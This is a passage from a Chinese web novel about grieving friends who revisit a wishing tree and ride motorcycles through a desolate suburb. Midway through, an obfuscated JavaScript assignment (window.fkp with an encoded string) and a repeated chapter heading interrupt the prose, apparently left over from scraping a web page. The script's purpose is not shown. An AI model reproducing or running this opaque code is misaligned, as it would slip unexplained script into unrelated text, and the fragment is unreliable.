“非常感谢你们!告诉你们位置之前,我想跟伊说些话。” 殇: “哈?可以。” 殇把电话递给了伊。伊接过电话,与薇莉莉聊了起来。 薇莉莉: “伊。好久没听到你的声音了,挺想你的。” 伊: “我也一样呢。” 薇莉莉: “你最近过得好吗?” 伊: “挺好的。你呢?” 薇莉莉: “我也挺不错的。” 伊: “你......” 薇莉莉突然开口打断了伊。 薇莉莉: “不用担心我。我已经从阴影中走出来了,我也接受了他离去的现实。我现在挺好的,没有你想得那样。我可是斯特迪罗家族的女战士,怎会沉浸在过去的痛苦之中呢?哈哈哈,别担心了,伊。” 伊有些木讷,她没料到薇莉莉能有这样的反应。片刻沉默过后,伊继续与她聊天。 伊: “你没事我就放心了。这段时间我挺担心你的,我怕你会过度沉浸在悲伤中伤了身体。但现在看来,一切都是我的胡思乱想。你没事就好,你没事我就安心了。” 薇莉莉: “害,让你担心多虑了。” 伊: “没事没事。——哦,对了,茵萌萌现在怎么样了?” 薇莉莉: “你说萌萌啊。前几日净哭来着,后来被我劝导开了,也接受了这残酷的事实。真是可怜这姑娘了......哭的那几天都没了人样,吓得我差点给她送去精神病医院!” 伊: “我对此深表惋惜。” 薇莉莉: “唉......事情都已经过去了,生活还是要继续的。他已经逝去,我们无法挽留。可我们还在!我们能做的也就只有继续前进,以及掉念他伟大的离去。” 伊: “你真是一个坚强的人,薇莉莉。” 薇莉莉: “一会和殇到我们这边来吧。我想在离开之前找寻我曾经的记忆,还想是和你们一起去找寻。你们是我为数不多能信得过的朋友,你们来的话我很放心。” 伊: “好!我和殇一会就去你们那边。” 薇莉莉: “我想让这最后的离别,不那么噤默,热闹些总是好的。我不喜欢孤独,我喜欢和大家在一起。我想陪伴大家走过生活的每一天,尽管我知道有的人注将提前倒下。能多陪一天就多陪一天,能让大家快乐几分就快乐几分。虽然我要离开这,但我仍会去守护大家,只是方式不同。” 说完这些,薇莉莉突然意识到了自己的行为。她说话总是不过脑子,这是她的老毛病。因而她经常被他调侃,说她嘴笨。意识到这点的她,紧忙纠正了自己的行为。 薇莉莉: “哦!说的有些多了,抱歉。” 伊没有一丝责怪,反而体谅起她来。伊很理解她的行为,她也曾陷入类似境地,也曾需要找人倾诉。对于伊而言,此刻的她就如过去的伊,因而伊能真正体谅到她、理解她的此时的想法。 伊坦然一笑。体谅她就如同体谅过去的自己。 伊: “没事的。人嘛,都需要个倾诉的过程。不然压抑久了,心会很累的。你能向我说这么多,我感觉挺荣幸的。这算是对我的一种信任,一种最纯真的信任,仅存在与好朋友之间。” 薇莉莉: “你这话说的......我都不知道咋接了。” 伊笑了,薇莉莉也跟着笑了。 接着,两人又简单聊了几句,之后薇莉莉留下了见面的地址。薇莉莉与伊在电话中告别,之后便挂断了电话。薇莉莉所留下的地址,是东城外最没落的那部分郊区,其名:“北赛涅布流司”,摩托党最爱的地方。 想当年,摩托党家族未没落之前,那里曾一度比城里都热闹。可如今,一切早就变了样子。兴盛来的迅速,衰落也到的迅速。 知道地址后,殇和伊就动身前往此处。 薇莉莉放下电话,抬首眺望天空。今天的天空是碧蓝如大海一般,其中有几片云做成的小舟,正慢慢漂泊在其中。天空广袤无垠又不显孤独、单调,太阳、云朵与天空为伴,天上也是热闹的。它们都不是孤独的,彼此相互都有所陪伴。只是默默,便有归属。 此时正值盛夏,是一年中最热的一段时间。 太阳悬在天空,阳光炙烤大地,每一寸被照射的土地都是非常炙热的。只是在户外站一会,衣物就会被汗水所浸湿。这是太阳的热情,也是这个季节的主韵律,炎热。一阵风吹过大地,仔细去感受,就连风也是热的!呼啸着穿过城市,又轻轻掠过田野,裹挟着花的芬芳与点点思绪,它当起了这片土地的信使。无数封大地写来的信,就这么随着送向千家万户。它虽吹起的是阵阵热浪,但热浪偷偷夹杂着几分凉意,似夏的温柔。 一阵芳香弥漫在这片伤痕累累的土地之上,唤来风的轻抚、唤来云的关心、唤来孤独之人的轻嗅。这芳香不同于人世间的各种气味,它本身是无味的,同时也是独特的。若不是有心之人,是闻不到这芳香的。这芳香本身无味而不惹人注意,又如缥缈般存在着,默默无私地扩散、分享每一寸芳香。说是这里的人习惯了罢,可他们却感受不到。说是他们嗅不到了罢,可他们的每次呼吸都能吸入这芳香。 她今日嗅到了这芳香,心头萦绕起种种谜团。她眼中的晴空似乎给了她答案,她看向晴空,陷入沉思。不经意间回想起逝去的斯人,她不禁觉得有些难过。突然,她回想起斯人曾教给她的那些,这下,她才明白了这芳香的含义。领悟这意义,她望着晴空,不禁落下两滴热泪。泪水藏着她的感动与谢意,也是她对过去迷茫的道别。 这芳香,人们并非是感受不到,而是没有刻意去感受,或者说每时每刻都在感受。因为这,是生命的气息啊。所谓生命的意义,正蕴藏在这芳香之中。这份意义并非是人们找不到,而是人们早就掌握在了手中,只是没肯去领悟这其中的含义罢了。 今日她所顿悟,也便明白了生命的意义。 “天有星辰,地有信仰。阔步前行,不惧艰难。贫瘠中生,荆棘中行。星下绽放,风中飘零。利刃挥出杀的不一定是敌人,也可能是那个冥昧之中的自己。生命的意义不在于始与末,而在于最常被忽视的过程......” 夏日的炎热来得猛烈、突然,又有些悄悄和隐晦。在不经意间来到身旁,也在不经意间悄然离去。似真情、也似生活。季节的更替,温柔又悄悄,不给人准备的机会,就唐突而来。让人猝不及防,但也总是让人惊喜万分。每一个季节都是不一样的,各有各的特色;循环的同种季节也是不一样的,每一次与季节的再遇都是一份别样的感动与惊喜。 望着晴空,这时的薇莉莉突然低下头,接着默默地叹息。难忘的人啊,她铭记于心啊。事过几日,她再度回想,心仍痛着,是刻骨铭心的痛。回忆似影片一样在她脑中放映。曾经的师傅、曾经的瑞恩、曾经的那个他......过往的一幕一幕刺痛着她的心,是痛苦的滋味,是心痛的滋味。 难舍难分,不忍他离去。可事已至此,往日不再。过去的一切都已经定格,永恒与不变、残酷又无情。冰冷的现实就摆在面前,她必须去面对那份痛苦。这不仅是为了她自己,也为了那个一直爱着她的他。他和她所希望的未来,都是一番美轮美奂的风景。 那风景,注定是一片光明。 悄悄的,茵萌萌来到薇莉莉身旁,坐下与她一起仰望晴空与远方。她注意到了茵萌萌,她看向身旁的茵萌萌,茵萌萌也看向她。两人相互对视一眼,对着对方露出一抹笑容,随后就肩并肩一起去欣赏眼前的风景。两年之前,她也曾与茵萌萌在这里仰望晴空与远方,不过两人此刻的心早已不再是当初的样子。 似乎是被眼前的美景所打动,又似乎望景生情想到了自己的经历,茵萌萌突然笑着夸赞起眼前的景象。 茵萌萌: “好美啊。它怎么会这么美呢?” 薇莉莉: “对啊。我也很好奇呢。” 茵萌萌: “姐。你说,地平区的天是怎样的呢?” 薇莉莉: “我想,应该也是这般蔚蓝吧。” 茵萌萌: “姐你想的和我一样。只要是晴天,无论何时何地,它都是那样蔚蓝。就像大海一样,广袤又美丽。真希望每天都能看到这样的天空,但我希望有时还能下点雨。毕竟大地也是需要滋养的吗......” 薇莉莉: “萌萌,你说话也一套一套的了。真是怪诶......” 茵萌萌: “害。情到此处,也难免说点什么好听的。” 薇莉莉: “这样也好,说话好听招人稀罕。” 茵萌萌: “嘻嘻......说真的,姐。要离开这里还真有些舍不得呢。一想到要跟大家分开,一想到要离开熟悉的小窝,就挺舍不得的。” 薇莉莉: “萌萌,舍不得的情绪我也有。人要看开些,生活中的机遇要懂得把握住。我们的梦想是去地平区生活,我们也都在为此奋斗。既然生活给了我们机会,那我们就得把握住。你说是不是?” 茵萌萌: “嗯。可是.......姐,那毕竟是北子哥他的遗产。我们这样做.......好吗?别人会在背后说我们的,我怕我们的名声会因此败坏......” 茵萌萌嘟囔着个嘴,眼神中流露出深情的担忧,表情显得是忧心忡忡。薇莉莉见了,露出一抹微笑。她拉住茵萌萌的手,茵萌萌看向她。她用笑容与坚定的眼神传达了心中的那份决意。 薇莉莉: “没事的,萌萌。就让他们说去吧。别忘了,这个机会是他赠予我们的。他是最爱我们的人,为数不多的。即使是死亡他也要为我们奉献,他是可歌可泣的英雄!这是我们的福气,别人想得都得不到的。” 薇莉莉撩起茵萌萌额前的垂发,又用手轻抚她娇嫩但沧桑的脸庞。 薇莉莉: “自信一点,萌萌。我们要好好地活着,不能辜负他对我们的期望啊!笑起来吧,这晴空正美丽着呢!” 听完薇莉莉的话,茵萌萌不再担忧与迷茫。她笑了,笑得格外甜美、漂亮。阳光下的绿草,总是那样鲜绿,风吹雨打不过折断它的身躯,雨过天晴后它仍翠绿如玉。 一段时间后,殇和伊坐着埃罗的车来到了这里。简单与埃罗聊了几句,殇和伊就告别埃罗,向着薇莉莉她们那走去。埃罗驱车离去,薇莉莉和茵萌萌目送其离开。见殇和伊到来,薇莉莉和茵萌萌迎了上去。等两方凑近,彼此都打量起了对方来。 再次见面时,薇莉莉的气色恢复得很好,与之前的那番霸气几乎一致,而且其中还稍带了些成熟。茵萌萌的则是显得稍有些憔悴,但总体看着还是之前那般阳光。殇和伊变化不大,还是之前老样子。 再度见面,伊热情地跟薇莉莉她们打招呼,薇莉莉她们也是如此。简单寒暄问候几句过后,薇莉莉就跟殇他们聊起此行的目的。薇莉莉简单阐述自己的计划,并邀请殇和伊陪同她和茵萌萌一起去执行。殇和伊自然是没有拒绝,爽快答应下来。 晴空之下,薇莉莉她们漫步在绿茵贫瘠的孤山上,循着过去的脚印,寻找着过去的记忆。一步一个脚印,一分一秒过去,旧日的景象还历历在目。难忘的,终究是忘不掉的。脚踩干燥的沙地,赏着周围的风景,薇莉莉她们的心中都有些不平静。吹着炙热的风,嗅着空气中的淡淡花香,一股难言叙述出的感觉涌上她们心头。旧人多年未归,归来时这里还是那般萧凉。 转眼间,昔日的一幕一幕又再现在眼前。红、绿、蓝三道艳丽的色彩团聚在一片小桦林前,在风中谈论着各自的烦恼忧愁,不时提一提梦与未来。欢笑声中半炷香过去,谈论过后各自欢悦,如林中的鸟儿一般飞去,久久不见有归来的一天。时光荏苒,岁月如梭,转眼间鸟儿变成凤凰,归来时已不再是当初的雏儿。花开了,花又谢了,四季悄悄地来又悄悄地去。这里还是那般熟悉,但总觉得缺了些什么东西。 曾经...... 在游玩到疲累的时候,她们就来到这里歇息,偶尔还会在这里野餐。那时她的身旁还有一辆很炫酷的摩托,跟随她的人身旁也有。车就停在这附近,人就在林中歇息。歇息时喝喝水,愉快地聊聊天,享受这短暂的安宁。 她曾是暴躁的,总会去找理由欺负他,一是因为他的话有时在她耳中很难听,二是因为她想去找人宣泄。他被她欺负,茵萌萌就在旁边偷笑,不帮她,也不帮他,只是单纯旁观。 她掐着他的耳朵,质问道: “你说什么呢?!是不是在内涵我?” “疼疼疼......没有啊!姐。我只是随口一说而已。” “少骗我!你就是在内涵我,你就是!” “诶呀,不是的呀,姐。” “就是!” “我错了,姐。我向你道歉,致以最真诚的歉意。” “这还差不多。” 她松开了手,他捂捂耳朵,露出一抹微笑,掩饰他表情中的委屈。茵萌萌见了,调侃道: “哈哈哈哈,北子哥,你又惹姐生气了。” “对呀,又一次呢。社交这方面,我还得学习一下啊。” “北子哥,你真谦虚。” “哦?有吗?” 那一刻,永远定格在了过去。 她伸出手想去抓住那每分每秒,留住那一刻的短暂。可她只抓住了一片落叶,没抓住他们的影子。落叶捎来讯息,是心底祝福的话语。不知这讯息的作者是谁,也许是来自过去的影子,还可能是未来的朝暮。抬手举起落叶,让它乘风离开。这落叶下是她们曾经拥有过的日子。 茵萌萌: “想不到一年过去,这里还是当初的那副模样啊。真的一点变化都没有!那株被我取了名的花还开着呢!真怀念这儿啊......” 薇莉莉: “对呀。萌萌。我们当初也在这儿没少停留,我还记得我们一起在这里栽了棵小树呢!不知道那棵树现在有多高了。” 这时,伊指着林中的一棵瘦小的树,说道: “你们栽的也许是那棵树吧,它正蓬勃生长着呢。” 顺着伊指的方向,薇莉莉和茵萌萌看到了那棵小树。她们一眼就认出来,那就是她们一同种下的小树,一棵独特的银杏树。如今的它已经是枝繁叶茂,长得也比原来高了一点。看着它,记忆似潮水涌入她们的大脑,曾经的回忆再度浮现在眼前。这是她们一同种下的树,也是她们唯一种下的树。 薇莉莉: “它还在!长得都这么高了,叶子都长这么多了。我估摸......快能开花结果了吧。” 茵萌萌: “我们一起栽的树,还在这里......我都把它忘记了!我记得那时候北子哥挺在意这棵树的......唉,又多了个离不开的理由呀。” 殇打量起这棵树来,不一会就认出了这棵树的种类。 殇: “这棵树......是银杏吧。” 茵萌萌: “对的。这是北子哥特意挑选的,专门要了这种树的树苗。他非常喜欢银杏树,他想跟我们分享这份喜欢,就邀请我们来这里去种。虽然就种了一棵......” 伊: “一棵也很不错。起码比什么都没留下要强很多。” 薇莉莉叹了一口气,无奈地摇了摇头。 薇莉莉: “那时候我不曾理解他的行为,也不愿去纠结这些。可现在看来,我很后悔。可惜我都错过了,错过的再也回不来了。能留下一点足迹算是一种安慰吧。希望这棵树能好好地生长下去。它是承载了我们回忆的......最后,是那个盛夏的影子。” 伊: “薇莉莉......” 薇莉莉: “我们继续走下去吧,也许还能找到些宝藏呢。就留下它在这里生长吧,它还有它的绚烂呢。” 伊: “嗯。” 告别这棵小树,薇莉莉她们继续在山上漫步。一步一个脚印,她们循着过去的影子前进。一草一木静伫林中,蓝天白云默默无私,阳光炙热、温柔还耀眼,风带来夏的芬芳与夏的气息。记忆中的每个脚印都是永恒,生命中的每个瞬间都是耀眼。周围的一切皆是无名的向导,默默指引着她们到达一处处记忆里的曾经。路渐渐延伸,点点滴滴勾起了更多的回忆。曾经不知仅限在这里,远方正传来轻声的呼唤。 那曾经,有欢笑。 完成一个艰难的任务之后,她们团聚一堂,一同庆祝这次任务的圆满。宴会上只有她们三人,但不失热闹与欢愉。碰杯欢饮,共享这来之不易的欢乐与安宁。她们总会喝得酩酊大醉,一时都不知道天南地北。有几次,她和茵萌萌直接在饭桌上睡着了。 生活中遇到什么有意思的事了,她们彼此之间都会分享,用幽默且有趣的故事带来本不富裕的几分欢乐。有时有什么好事发生,她们也总会分享欢乐与乐趣,为了彼此那一瞬的笑靥。能见到彼此的笑容,对于她们来说就是一种别样的幸福了。 那曾经,有泪水。 雨天的晚上,刚执行完任务的茵萌萌从诊所中离开。此刻,因为伤痛侵扰,茵萌萌不由得偷偷找地方哭泣,释放自己的坏情绪。谁知正巧碰上了他,他知道情况后主动去安慰她,并用尽一切方法尽可能让她少承受些痛苦。就如兄妹之间的照顾,他总是温柔以待。 薇莉莉偷偷看到了这一切,没太将这件事放在心上。但当她因痛苦而难过的时候,她也会悄悄地流泪。每当她痛苦时的呢喃被他听到,他总是愿意伸出温暖的手,帮她缓解痛苦,为她分担难过。可惜她那时并未去珍惜,因为自己的怯懦与忧虑。这本是莫须有的,可却演变成了她的痛苦。 那曾经,有烦恼。 每个月的房租、每个月的税务、繁杂的事物......生活的许多都让她们觉得疲累,无时不刻的疲累。生活仿佛就在刁难着她们,各种麻烦的琐事都要交给她们处理。她们是一百个不乐意,但又不得不去做。为了生活、为了金钱、为了她们共同的梦想:前往地平区生活,为了这些她们努力地前进着,挑战一个又一个拦路的挫折。生活还给她们留了些动力,她们也在攀登着生活的高山。 烦恼天天有,日子天天过。不满、迷茫、反感、疑惑......都是她们的老朋友,几乎天天陪着她们。要说这一路最忠实的见证者是谁,还属它们。但这份烦恼并不是她们独自去承担,有人愿意去帮她们去分担。那是没有怨言的、无怨无悔的,没有开口点明,只是默默。 那曾经,也有遗憾。 许多话还未来得及说出,就只能永远地藏在心里。曾手握着机会,却傻傻地等待机会,最终没了机会,苦叹上天不给机会。冷漠之下的柔情,是藏不住的柔光。拉紧他的手,一个转身的刹那如千年已过,一转眼就是明日的晴空。松开他的手,生与死的界限在松手时分割,悄悄睡去的只留下余烬般的温暖。一刻是刹那,也是永恒。 合眼时的一刹那,泪水凝结成鲜花。往日随风飘去远方的时候,可惜才知道机会的可贵。错过的再也无法回来,能挽留的也只有尘埃。她们觉得懊悔、觉得惋惜,看命运无情,叹自身愚昧。最后的那一眼,是永恒的花蕾、是不灭的群星、是生命凝成的灿烂、也是她最大的遗憾。若她能救下他,也许她们还能像以前一样生活,她们还能感受到那份真挚又深沉的崇高之爱。可生活没有如果,现实就摆在眼前,过去已经定格。 不知不觉两个钟头过去,身处在寻宝过程中的她们丝毫没有察觉。也许时间的概念对她们来说,本身也没了太大的意义。她们执着于寻宝的过程之中,忘却了炎热、忘却了汗水、忘却了疲累、也忘却了悄悄流逝的时间。她们专注于寻找,享受于寻找的过程,渴求尽力找回曾经的每一点。 她们来到了一座山的山顶,看到了一处石砖与石台阶修砌而成的观景台。观景台中央有着一棵百年古树,古树的树冠上系着不计其数的红丝带,每条红丝带上都写着一份愿望。古树旁立着一块石碑,远远看去,能看到石碑上赫然写着:“愿望树”三个三大字。想必这里曾是热闹的,不过今朝已是物是人非。这里只留下了寂静,令人毛骨悚然的寂静,可怕之中带着苍凉。 来到观景台上,殇和伊眺望远方,看到一片荒凉的景象。昔日是能看到广袤的林海的,可如今却只能看到如孤岛一般的小树林与遍地金黄的沙土。昔日、昨日、旧日,他们一路上看到过很多诸如这样荒凉的景象,都是过去的美变作了现在的荒。除了惋惜,他们也做不了什么。看了那么多荒凉的景象,他们也日渐明白,大疫病可怕至极如灭顶之灾,但复杂多变的人比这大疫病更可怕! 他们还看到,那沙土之上有着伐木机的身影。半身被沙土所掩埋,但高抬的锯刃仍在沙土之上,似乎还在向世人诉说着森林的毁灭。有谁能想到这里曾是一片森林?答案是未知的,事实是不变的。 看过风景,他们回首看向身后。薇莉莉和茵萌萌站在古树旁,抬头仰望这棵承载了无数人愿望的老树。他们走到薇莉莉和茵萌萌身旁,与其一同仰望。无数红丝带轻垂而下,在风儿的吹拂下轻轻飘动,似舞会上摇曳的舞女;轻柔的舞姿下满是哀思,无不让人惋惜,仿佛是在一首哀歌中起舞。 看着眼前的古树,薇莉莉伸出了手,想去触摸那垂下的红丝带。在指尖接触到它的前一刻,一阵小风吹来,它顺着风儿害羞地躲开了。薇莉莉放下了手,不禁回想起曾经。她不由得叹息三声,后悔的滋味让她不好受。但即便这样,她还是露出平淡的表情,向身旁的二人解释这古树。 薇莉莉: “这是愿望树,是我们东城的一个着名打卡点,曾经的......这种树在这周围几乎每个山头都有一个,但好像最后只剩下这棵了。挺可惜的不是吗?好端端一个打卡点没落成了这样,真是世事无常啊。” 伊: “愿望树,如此动听的名字,我还是第一次听到。难道这树上系着的红丝带,都是写着愿望的福条吗?” 薇莉莉: “对的。这上面都是愿望,我们每个人的愿望。老人们常说,在愿望树上系上写着愿望的红丝带,那么总有一天那愿望就会实现。说起来听幼稚的,世上哪有那样的好事......可是世上还有那么多人这么做,也许这能增加几分福气吧......” 殇: “这样的事我还是第一次听......不过,倒也说不上离谱,总之还算合理。毕竟人也要有个念想。” 茵萌萌: “姐,你还记得你系上去的红丝带吗?” 薇莉莉: “嗯?记得呀,怎么了?” 茵萌萌: “你还记得它在哪里吗?” 薇莉莉: “不记得了。鬼知道我把它系在了哪里!” 茵萌萌: “我清楚地记得,姐你把它系在了最隐秘的角落,就害怕别人看到。嘻嘻......姐还是比较在意面子的。” 薇莉莉: “啊?有......有吗?我不记得了。” 茵萌萌: “嘻嘻,那天下午的时候我可是看到了哦。姐悄悄写下的愿望,悄悄地把福条系在树上,还正巧跟北子哥碰了个正着。后来,姐怕被北子哥传言出去丢面子,就用暴力威胁北子哥......” 听到此处,薇莉莉因为羞愧而面红。被提及自己的黑历史,她有些难堪与害羞,还有点尴尬。毕竟是在外人面前被提起此事。听到茵萌萌这么说,伊捂着嘴偷笑,这让她的脸不仅是红,还有些发烫。但今时不同往日,现在的她面对这段过去已是坦然的态度,虽仍有些羞涩。 茵萌萌: “北子哥也是真的好,姐说不让他说,他就不说。要不是我当初亲眼看到了这一切,我还以为姐不信这玩意呢。姐可是口口声声跟我说:‘只有傻子才会信这个’。哈哈哈哈......” 她露出一抹尴尬的笑,附和起伊和茵萌萌,以此来缓解自己的尴尬。一旁的殇见了,笑着摇了摇头,并非是笑她,而是感慨他逝去的青春。 殇: “年轻的感觉就是不一样呀。真怀念那个会因为一点事就害羞脸红的年纪啊......” 笑着笑着,薇莉莉又回想起了曾经的那些时光。一幕一幕再度浮现在她的眼前,那段日子让她怀念。 曾经....... 一年前,她结束完一天的忙碌,处决掉今日的最后一人,就拖着疲累的身体回到了家。到家后吃过晚饭,闲来无事就觉得想出去走走。正巧此刻夕阳还只是轻触地平线,距离夜幕到来还有一段时间。趁着这会功夫,她骑上自己的摩托车,邀来他陪同,然后来到了郊外去寻个快活。不知不觉,她一人就来到了这棵屹立于山巅的愿望树下。 她心中也有梦想、也有愿望,想去实现但路还很漫长。想找人倾诉,可又觉得不大合适。突然灵光一闪,想到了那个老人们之间流传的传说。抱着试一试也无妨的态度,她从附近的福条箱中抽出一条红丝带,拿出笔在上面写下了自己的愿望。她的愿望很简单,只有短短的三条。 “我想守护好我身边的一切;我想遇到个真正爱我的人;我想成为地平区的人。” 写完愿望,系在树上,让自己渺小的愿望融入到愿望的海洋之中。她觉得自己有些傻,但转念一想又觉得无所谓。离开时被他撞个正着,当时她就害羞地脸都红了。她猜他定是知道的,就便用武力威胁他,让他不要把这件事说出去。殊不知他本是不知道的,是她嘴笨,在威胁的过程中说漏了嘴,他这才知道了这件事。 他答应了她,后来他也用行动证明了他的诚信。 那天落日的时候,她和他坐在观景台的长椅上,一同观看着日落。不知为何,她总想对他倾诉自己的苦与累,但总是开不了口。他是聪明人,一眼就能看破她的心思。他总会去主动关心她,这次也不例外。尽管她天性傲娇不愿接受,但他依然会继续关心下去。他是很懂她的,知道她是个刀子嘴豆腐心的姑娘。 她曾经的冷漠并没有让他退缩,他始终都在用自己的方式为她着想。时间见证他的真心,行动体现他的意志,他始终都是真心实意去对待她,以及他身旁的每个人。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十八话:放眼展望,碧空万里(下) 时间倒流,转眼间就到了几年之前的那个午后。那时她是第一次来这里,那时她才刚入这座枯燥的城市,还是个涉世未深的新来者。她的师傅陪她一起来了这里,为的就是让她见识这棵愿望树。她并不知道师傅的用意,只知道这棵树很受人欢迎,却不明白个所以。她的师傅告诉她: “这里是城市中唯一一个能真情吐露心中苦闷的地方,是这里唯一不可侵犯的圣地。” 她不懂这句话的含义,只知道这里是习俗的仪式点。据她了解,许多人都会来这里系福条,只为了能祈求一份幸福与运气,虽然那可能改变不了现实,但起码能留个念想与寄托。她不明白为何要去祈求一棵树,在她眼里这种行为很愚蠢。她的不解引起了她师傅的注意,为了解答她的疑惑,她的师傅在树下跟她讲了很多...... 泰尔斯: “比起神明,人们更愿意相信自己。但心中还是需要个依托,郁闷之下只能去寻找。这里的民俗之中恰有‘树上系福,天上知能庇护一方’的风俗习惯,于是他们就这样去做了。” 薇莉莉: “师傅,可我还是不明白。这么做到底图个啥?难不成这世界还真有神明存在?若有,那即是否决了科学!” 泰尔斯: “莉莉呀......也许等你想再次回到这里的时候,你就能明白他们的这番行为了。为师希望你,归来时仍是初心依旧。” 时间飞速流逝,转眼就回到了现在。凝望眼前的古树,她感慨时间流逝的飞快,一转眼就是不知多少个四季溜走。这是她第三次见到这棵古树,与它的再见如与老友重逢一般。看着它枝繁叶茂、看着它载愿起动、看着它在晴空下耸立在山巅之上,她心中不禁感慨万千。它是依旧,坚守山巅一方;可她早已成长,不再是当初的懵懂。它见证了她的三次成长,每个节点上都充当了她的伴路人,虽只有惊鸿一瞬。 “我以为是它变了样子,我觉得陌生。但我错了,不是它变了,是我变了啊。那个姑娘......长大了。” 薇莉莉感叹道。一旁的茵萌萌听了,直点头。薇莉莉的成长她有目共睹,当初那个暴躁、幼稚又无礼的姐,如今也变得成熟起来。这是她的成长,是她磨炼之后的蜕变。唯独可惜一点,这份成长姗姗来迟,迟的太久、太久,已经错过很多...... 也许,这次将是她最后一次回到这里。告别这棵树,她将迎来自己新的人生。她将收获更多的成长、结识更多的朋友、领悟更多的道理......这不是改头换面,而是鼎力前行,用以花一样的姿态去迎接未来。无论身在何方,她也终究是她;始终是那个一尘不变的红头发大姐头、始终是那个能令一条街的都市猎人都闻风丧胆的女武神、始终是那个最想去守护所爱一切的、天真的姑娘:薇莉莉。 看过这棵古树,薇莉莉她们一行人又在山上漫步了一会。走累了、饿了,就在薇莉莉带领下回到家族聚居地休息,顺带吃顿午饭。午饭之后,薇莉莉领着殇他们到了一处隐蔽的仓库。当薇莉莉打开尘封已久的卷帘门,那头昏睡了许久的“野兽”再次出现在她的眼中。掀起它身上的盖布,将它从梦中唤醒。盖布落下,一辆红色的改装摩托车展现在她们眼前。 “好久不见,雷电。” 薇莉莉深情地对这辆摩托车说道。她轻抚它的握把与车身,那触感她格外怀念。与它的上次相逢不知过去了多久,它身上早就落满了灰尘。这份等待是值得的,它的主人又再次回到它身旁了。轻抚它的时候,她的表情总是苦里带着笑,似乎对它有说不尽的话。 茵萌萌: “熟悉的感觉......当初,姐就是骑着它来接我入家族的。过了这么久,它还是那样帅气呀,就跟姐一样帅呢。” 伊: “是它!我想起来了,薇莉莉曾是个摩托车手。” 殇: “哈?她竟然喜欢骑摩托车。诶呦呵,这可真是不多见。嗯......只能说她很有个性。” 茵萌萌: “姐很喜欢骑摩托的。据姐她说她刚来东城的时候,就迷恋上了骑摩托这项运动。别人都挺不看好她的,以为女生吃不了训练摩托技术时的苦。结果姐狠狠地打了他们的脸!姐后来学成了,成了个出色的摩托车手。不光如此,姐的摩托技术比那些学了很久的骑手都好!真佩服姐的毅力与强大。” 伊: “哦。原来这就是薇莉莉对这辆摩托有如此深的感情的理由。” 茵萌萌: “我那时亲眼见过......姐她骑摩托到底有多帅!我很难描述出的我的感觉。用北子哥教我的话来说,‘姐就跟黑夜骑士一样,乘着隐雷驰骋在荒野上,每一处细节都体现她的帅气。’真是羡慕姐的强大,相比之下我就逊色许多了。” 伊: “别这样,你还是有很多优点的。” 茵萌萌: “你说得对,我肯定是有很多优点的,一定是的!虽然比不上姐那样多才多艺,但我定会活出自己的一番精彩!” 伊: “会的,一定会的。” 薇莉莉对这辆摩托的感情很深,别看它只是一辆车。它所承载的很沉重,是薇莉莉心中的一块宝石。它曾是薇莉莉的爱驾,也是薇莉莉记忆的一个重要节点。它也在她的成长中陪伴了她。看着它的时候,她会想起逝去的斯人,以及过去的一幕又一幕的美好。但她这次来找它并非是要沉浸回忆,而是要借此找寻悄悄遗忘掉的记忆,弥补自己心中的空缺。她不想留下任何遗憾在这里,告别过去后她还得勇敢面对生活。 薇莉莉心里: “瑞恩......星北空......唉......这种感觉真的太熟悉了。好像我一个回头,还能看到他们一样。可惜那都是过去的事了,也该对那些做出个告别了。雷电,最后再为我低鸣一首吧。” 薇莉莉放下手,露出一抹笑。她转头看向殇,问殇: “殇,你会骑摩托吗?” 殇耸耸肩,淡定回答道: “会。” 薇莉莉有些不信,继续追问道: “真的吗?” 殇露出自信的微笑,告诉她: “我每样都会一点点。” 薇莉莉冲着殇笑了笑,而后说道: “那你陪我去郊区骑个几圈,让我见识下你的技术。” 殇拍手答应。薇莉莉骑上摩托,拧了拧把手,试了试手感;她的肌肉记忆还在,她似乎还能熟练驾驶这辆摩托。插上车钥匙,雷电发出了阵阵低鸣,仪表盘上的指针瞬间跳动,很快恢复到正常的形态。它复苏过来,彻底从睡梦中苏醒。它的声浪还如之前那般嘹亮,它引擎发动时的每一颤仍是那般有力,就如一头威武的雄狮。见到雷电雄风依旧,薇莉莉很开心地笑了。这下,她又能驰骋在荒野之中,重新成为那个荒野中的女王。 薇莉莉看向殇,笑着对殇说: “别让我失望,殇。我可拭目以待着呢。” “放心,我定会让你大开眼界的。” 殇自信回答道。薇莉莉笑了笑,又看了看一旁的茵萌萌和伊。片刻的思考过后,她叹了口气,而后笑着说道: “就让这次的驰骋,成为我对这里的告别吧。” 一段时间后,寂静的郊区中再度响起了摩托车发动时的声响。在平直的公路上,一道红色幻影正飞速疾驰着。这道红色幻影的身后紧跟着一道黑色幻影,那黑色幻影正追逐着这道红色幻影。驶到一个路口,红色幻影飞速驶离公路,向着一旁的小路驶去。黑色幻影快速反应,立即就跟了上去。随后两道幻影开始了激烈的角逐。 那两道幻影是驾驶着摩托车的薇莉莉和殇;红的是薇莉莉,黑的是殇。 殇紧追薇莉莉,就怕被薇莉莉给甩掉。薇莉莉急速与殇拉开距离,尽力试着去甩掉身后的殇。两人如一红一黑两道雷电疾驰在荒野之中,彼此之间的距离时近时远,像是在较劲,谁也不服谁。几个拐弯之后,殇步步紧逼,靠地形慢慢逼近薇莉莉。薇莉莉怎会给他机会去超过自己?她立即做出行动,以其人之道还治其人之身,用地形优势多次打断了殇超车。一顿激烈的较量之后,技高一筹的她仍是领头位。 一红一黑两道雷电飞驰过广袤的荒野。 扬起的黄沙在狂风中被鼓成尘雾,炙热的大地泛起阵阵热浪。尘雾似一匹匹奔腾的野马奔驰过荒野,有几只好奇的马儿还跟着她们跑了一会。热浪如波澜般随风扩散开来,悄悄唤醒更多沉睡着的狂风。远处的铁壁高墙高耸屹立在城市边境,它高得几乎要跟云彩贴在一起!它正在边境如卫士一样守护城市的安全。近处的郊区中满眼望去皆是废墟与荒漠,其中是如死一般的寂静,甚是有苍凉之感。晴朗的蓝天中白云飘飘,正是云朵悠闲的时候;一轮炙日高高悬挂在天空,每一寸光芒都是它的热情。 一红一黑两道幻影驶过一片湿润的绿地。 